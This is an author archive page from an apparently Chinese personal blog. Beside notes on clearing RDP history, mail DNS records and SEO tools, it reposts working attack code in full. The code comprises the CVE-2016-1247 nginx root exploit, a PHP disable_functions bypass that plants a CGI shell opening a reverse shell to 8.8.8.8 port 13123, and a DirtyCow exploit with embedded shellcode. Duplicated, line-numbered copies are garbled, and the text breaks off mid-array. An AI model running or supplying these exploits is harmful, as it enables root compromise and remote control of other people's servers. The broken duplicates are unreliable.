Author: 坏人咖啡

Real Name:

Profile:

Website:

Posts by 坏人咖啡

清除rdp连接记录批处理命令

15 3月 2018 | category

学习笔记

已关闭评论

@echo off
reg delete “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default” /va /f
reg delete “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers” /f
reg add “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers”
cd %userprofile%\documents\
attrib Default.rdp -s -h
del Default.rdp

将上面的代码保存成.bat文件直接运行即可
懒人下载地址rdp.zip

为邮件服务器MX、SPF、DKIM 、rDNS、等记录

16 11月 2017 | category

学习笔记

已关闭评论

1. MX记录

邮件的MX记录最好是指向机器A记录，尽量不要直接指向IP地址（不符合规范）。

2. SPF记录

SPF(Sender Policy Framework)是以IP地址认证电子邮件发件人身份的技术，是一种通用的反垃圾技术之一。接收邮件方会首先检查域名的SPF记录，来确定发件人的IP地址是否被包含在SPF记录里面，如果在，就认为是一封正确的邮件，否则会认为是一封伪造的邮件进行退回。

3. DKIM 记录

DKIM全称是：DomainKeys Identified Mail，是一种电子邮件的验证技术，使用密码学的基础提供了签名与验证的功能。

邮件的接收端将会对邮件头中的签名和从DNS获取公钥进行验证，检查邮件是否被伪造。 DKIM签名是现行通用的反垃圾技术之一，有了该配置，邮件的到达率将会显著提升。

DKIM 在线生成工具：

https://port25.com/dkim-wizard/

4. rDNS 反向解析

反向解析，也就是将IP解析到对应的域名上，反向解析在邮件服务器应用中相当于对你的邮件服务器进行身份验证，这样的策略可以很好的减少垃圾邮件。

5. 邮件内容测试，可以测试邮件的配置信息和IP是否在黑名单等！
https://www.mail-tester.com

本文章大部分内容来自：http://www.huangzhong.ca/zh/rdns-mx-spf-dkim-dns-mail-server/

做英文站的一些相关网站自行研究吧~！

17 10月 2017 | category

学习笔记

已关闭评论

https://trends.google.com/trends/ Google指数

https://ubersuggest.io/ 关键词类

http://keywordshitter.com/ 关键词类

keywordtool.io

kwfinder.com

利用nginx提权

14 1月 2017 | category

Linux

已关闭评论

#!/bin/bash
#
# Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit
# nginxed-root.sh (ver. 1.0)
#
# CVE-2016-1247
#
# Discovered and coded by:
#
# Dawid Golunski
# dawid[at]legalhackers.com
#
# https://legalhackers.com
#
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
#
# ---
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
# as well as Gentoo etc.) to escalate their privileges from nginx web server user 
# (www-data) to root through unsafe error log handling.
#
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
# script which is called daily by the cron.daily on default installations.
# The restart should take place at 6:25am which is when cron.daily executes.
# Attackers can therefore get a root shell automatically in 24h at most without any admin
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation 
# has been configured. 
#
#
# Exploit usage:
# ./nginxed-root.sh path_to_nginx_error.log 
#
# To trigger logrotation for testing the exploit, you can run the following command:
#
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
#
# See the full advisory for details at:
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
# Video PoC:
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/nginxrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $ERRORLOG
	touch $ERRORLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Ctrl+C pressed"
	cleanexit 0
}

#intro 

cat <<_eascii_
 _______________________________
< Is your server (N)jinxed ? ;o >
 -------------------------------
           \ 
            \          __---__
                    _-       /--______
               __--( /     \ )XXXXXXXXXXX\v.  
             .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
            /XXX(       U     )        XXXXXXX\ 
          /XXXXX(              )--_  XXXXXXXXXXX\ 
         /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
         XXXXX/   /            XXXXXX   \__ \XXXXX
         XXXXXX__/          XXXXXX         \__---->
 ---___  XXX__/          XXXXXX      \__         /
   \-  --__/   ___/\  XXXXXX            /  ___--/=
    \-\    ___/    XXXXXX              '--- XXXXXX
       \-\/XXX\ XXXXXX                      /XXXXX
         \XXXXXXXXX   \                    /XXXXX/
          \XXXXXX      >                 _/XXXXX/
            \XXXXX--__/              __-- XXXX/
             -XXXXXXXX---------------  XXXXXX-
                \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                  ""VXXXXXXXXXXXXXXXXXXV""
_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
	echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
	echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
	exit 3
fi

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
id | grep -q www-data
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
	exit 3
fi

# Set target paths
ERRORLOG="$1"
if [ ! -f $ERRORLOG ]; then
	echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
	exit 3
fi

# [ Exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>

uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi


# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	exit 2
fi

# Symlink the log file
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
curl http://localhost/ >/dev/null 2>/dev/null
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
while :; do 
	sleep 1
	if [ -f /etc/ld.so.preload ]; then
		echo $PRIVESCLIB > /etc/ld.so.preload
		rm -f $ERRORLOG
		break;
	fi
done

# /etc/ld.so.preload should be owned by www-data user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
else
	echo -e "\n[!] Failed to get root"
	cleanexit 2
fi

rm -f $ERRORLOG
echo > $ERRORLOG
 
# Use the rootshell to perform cleanup that requires root privilges
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
# Reset the logging to error.log
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -i

# Job done.
cleanexit 0

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

#!/bin/bash

# Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit

# nginxed-root.sh (ver. 1.0)

# CVE-2016-1247

# Discovered and coded by:

# Dawid Golunski

# dawid[at]legalhackers.com

# https://legalhackers.com

# Follow https://twitter.com/dawid_golunski for updates on this advisory.

# ---

# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu

# as well as Gentoo etc.) to escalate their privileges from nginx web server user

# (www-data) to root through unsafe error log handling.

# The exploit waits for Nginx server to be restarted or receive a USR1 signal.

# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)

# script which is called daily by the cron.daily on default installations.

# The restart should take place at 6:25am which is when cron.daily executes.

# Attackers can therefore get a root shell automatically in 24h at most without any admin

# interaction just by letting the exploit run till 6:25am assuming that daily logrotation

# has been configured.

# Exploit usage:

# ./nginxed-root.sh path_to_nginx_error.log

# To trigger logrotation for testing the exploit, you can run the following command:

# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx

# See the full advisory for details at:

# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

# Video PoC:

# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html

# Disclaimer:

# For testing purposes only. Do no harm.

BACKDOORSH="/bin/bash"

BACKDOORPATH="/tmp/nginxrootsh"

PRIVESCLIB="/tmp/privesclib.so"

PRIVESCSRC="/tmp/privesclib.c"

SUIDBIN="/usr/bin/sudo"

function cleanexit {

# Cleanup

echo -e "\n[+] Cleaning up..."

rm -f $PRIVESCSRC

rm -f $PRIVESCLIB

rm -f $ERRORLOG

touch $ERRORLOG

if [ -f /etc/ld.so.preload ]; then

echo -n > /etc/ld.so.preload

echo -e "\n[+] Job done. Exiting with code $1 \n"

exit $1

}

function ctrl_c() {

echo -e "\n[+] Ctrl+C pressed"

cleanexit 0

}

#intro

cat <<_eascii_

_______________________________

< Is your server (N)jinxed ? ;o >

-------------------------------

\ __---__

_- /--______

__--( / \ )XXXXXXXXXXX\v.

.-XXX( O O )XXXXXXXXXXXXXXX-

/XXX( U ) XXXXXXX\

/XXXXX( )--_ XXXXXXXXXXX\

/XXXXX/ ( O ) XXXXXX \XXXXX\

XXXXX/ / XXXXXX \__ \XXXXX

XXXXXX__/ XXXXXX \__---->

---___ XXX__/ XXXXXX \__ /

\- --__/ ___/\ XXXXXX / ___--/=

\-\ ___/ XXXXXX '--- XXXXXX

\-\/XXX\ XXXXXX /XXXXX

\XXXXXXXXX \ /XXXXX/

\XXXXXX > _/XXXXX/

\XXXXX--__/ __-- XXXX/

-XXXXXXXX--------------- XXXXXX-

\XXXXXXXXXXXXXXXXXXXXXXXXXX/

""VXXXXXXXXXXXXXXXXXXV""

_eascii_

echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"

echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"

# Args

if [ $# -lt 1 ]; then

echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"

echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"

exit 3

# Priv check

echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"

id | grep -q www-data

if [ $? -ne 0 ]; then

echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"

exit 3

# Set target paths

ERRORLOG="$1"

if [ ! -f $ERRORLOG ]; then

echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"

exit 3

# [ Exploitation ]

trap ctrl_c INT

# Compile privesc preload library

echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"

cat <<_solibeof_>$PRIVESCSRC

#define _GNU_SOURCE

#include <stdio.h>

#include <sys/stat.h>

#include <unistd.h>

#include <dlfcn.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

uid_t geteuid(void) {

static uid_t (*old_geteuid)();

old_geteuid = dlsym(RTLD_NEXT, "geteuid");

if ( old_geteuid() == 0 ) {

chown("$BACKDOORPATH", 0, 0);

chmod("$BACKDOORPATH", 04777);

unlink("/etc/ld.so.preload");

}

return old_geteuid();

}

_solibeof_

/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"

if [ $? -ne 0 ]; then

echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."

cleanexit 2;

# Prepare backdoor shell

cp $BACKDOORSH $BACKDOORPATH

echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check

if [ -f /etc/ld.so.preload ]; then

echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."

exit 2

# Symlink the log file

rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG

if [ $? -ne 0 ]; then

echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."

cleanexit 3

echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"

# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered

curl http://localhost/ >/dev/null 2>/dev/null

# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily

# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)

echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."

while :; do

sleep 1

if [ -f /etc/ld.so.preload ]; then

echo $PRIVESCLIB > /etc/ld.so.preload

rm -f $ERRORLOG

break;

done

# /etc/ld.so.preload should be owned by www-data user at this point

# Inject the privesc.so shared library to escalate privileges

echo $PRIVESCLIB > /etc/ld.so.preload

echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"

echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"

echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

chmod 755 /etc/ld.so.preload

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)

echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"

sudo 2>/dev/null >/dev/null

# Check for the rootshell

ls -l $BACKDOORPATH

ls -l $BACKDOORPATH | grep rws | grep -q root

if [ $? -eq 0 ]; then

echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"

echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"

else

echo -e "\n[!] Failed to get root"

cleanexit 2

rm -f $ERRORLOG

echo > $ERRORLOG

# Use the rootshell to perform cleanup that requires root privilges

$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"

# Reset the logging to error.log

$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"

# Execute the rootshell

echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"

$BACKDOORPATH -p -i

# Job done.

cleanexit 0

php disable_functions bypass姿势

22 12月 2016 | category

学习笔记

已关闭评论

<?php

$cmd = "	bash -i >& /dev/tcp/8.8.8.8/13123 0>&1"; //command to be executed

$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd

function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
	echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}


if (!isset($_GET['checked']))
{
	@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
	header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
	$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
	$writable = is_writable('.'); //current dir writable?
	$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?

		checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
		checkEnabled("Is writable",$writable,"Yes","No");
		checkEnabled("htaccess working",$htaccess,"Yes","No");

	if(!($modcgi && $writable && $htaccess))
	{
		echo "Error. All of the above must be true for the script to work!"; //abort if not
	}
	else
	{
		checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
		checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
		checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
		checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
		echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
	}
}
?>

<?php

$cmd = " bash -i >& /dev/tcp/8.8.8.8/13123 0>&1"; //command to be executed

$shellfile = "#!/bin/bash\n"; //using a shellscript

$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output

$shellfile .= "$cmd"; //executing $cmd

function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter

{

echo "$text: " . ($condition ? $yes : $no) . "<br>\n";

}

if (!isset($_GET['checked']))

{

@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed

header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked

}

else

{

$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?

$writable = is_writable('.'); //current dir writable?

$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?

checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");

checkEnabled("Is writable",$writable,"Yes","No");

checkEnabled("htaccess working",$htaccess,"Yes","No");

if(!($modcgi && $writable && $htaccess))

{

echo "Error. All of the above must be true for the script to work!"; //abort if not

}

else

{

checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.

checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension

checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file

checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx

echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script

}

dirtcow提权脚本

06 12月 2016 | category

Linux

已关闭评论

/*
* A PTRACE_POKEDATA variant of CVE-2016-5195
* should work on RHEL 5 & 6
* 
* (un)comment correct payload (x86 or x64)!
* $ gcc -pthread c0w.c  -o c0w
* $ ./c0w
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000
* madvise 0
* ptrace 0
* $ /usr/bin/passwd 
* [root@server foo]# whoami 
* root
* [root@server foo]# id
* uid=0(root) gid=501(foo) groups=501(foo)
* @KrE80r
*/
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char shell_code[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char shell_code[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg) {
  int i,c=0;
  for(i=0;i<200000000;i++)
    c+=madvise(map,100,MADV_DONTNEED);
  printf("madvise %d\n\n",c);
}


int main(int argc,char *argv[]){

  printf("                                \n\
   (___)                                   \n\
   (o o)_____/                             \n\
    @@ `     \\                            \n\
     \\ ____, /%s                          \n\
     //    //                              \n\
    ^^    ^^                               \n\
", suid_binary);
  char *backup;
  printf("DirtyCow root privilege escalation\n");
  printf("Backing up %s to /tmp/bak\n", suid_binary);
  asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  system(backup);

  f=open(suid_binary,O_RDONLY);
  fstat(f,&st);
  map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
  pid=fork();
  if(pid){
    waitpid(pid,NULL,0);
    int u,i,o,c=0,l=sc_len;
    for(i=0;i<10000/l;i++)
      for(o=0;o<l;o++)
        for(u=0;u<10000;u++)
          c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
    printf("ptrace %d\n\n",c);
   }
  else{
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(),SIGSTOP);
    pthread_join(pth,NULL);
    }
  return 0;
}

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

* A PTRACE_POKEDATA variant of CVE-2016-5195

* should work on RHEL 5 & 6

* (un)comment correct payload (x86 or x64)!

* $ gcc -pthread c0w.c -o c0w

* $ ./c0w

* DirtyCow root privilege escalation

* Backing up /usr/bin/passwd.. to /tmp/bak

* mmap fa65a000

* madvise 0

* ptrace 0

* $ /usr/bin/passwd

* [root@server foo]# whoami

* root

* [root@server foo]# id

* uid=0(root) gid=501(foo) groups=501(foo)

* @KrE80r

#include <fcntl.h>

#include <pthread.h>

#include <string.h>

#include <stdio.h>

#include <stdint.h>

#include <sys/mman.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <sys/wait.h>

#include <sys/ptrace.h>

#include <unistd.h>

int f;

void *map;

pid_t pid;

pthread_t pth;

struct stat st;

// change if no permissions to read

char suid_binary[] = "/usr/bin/passwd";

* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i

unsigned char shell_code[] = {

0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,

0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,

0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,

0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,

0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,

0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,

0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05

};

unsigned int sc_len = 177;

* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i

unsigned char shell_code[] = {

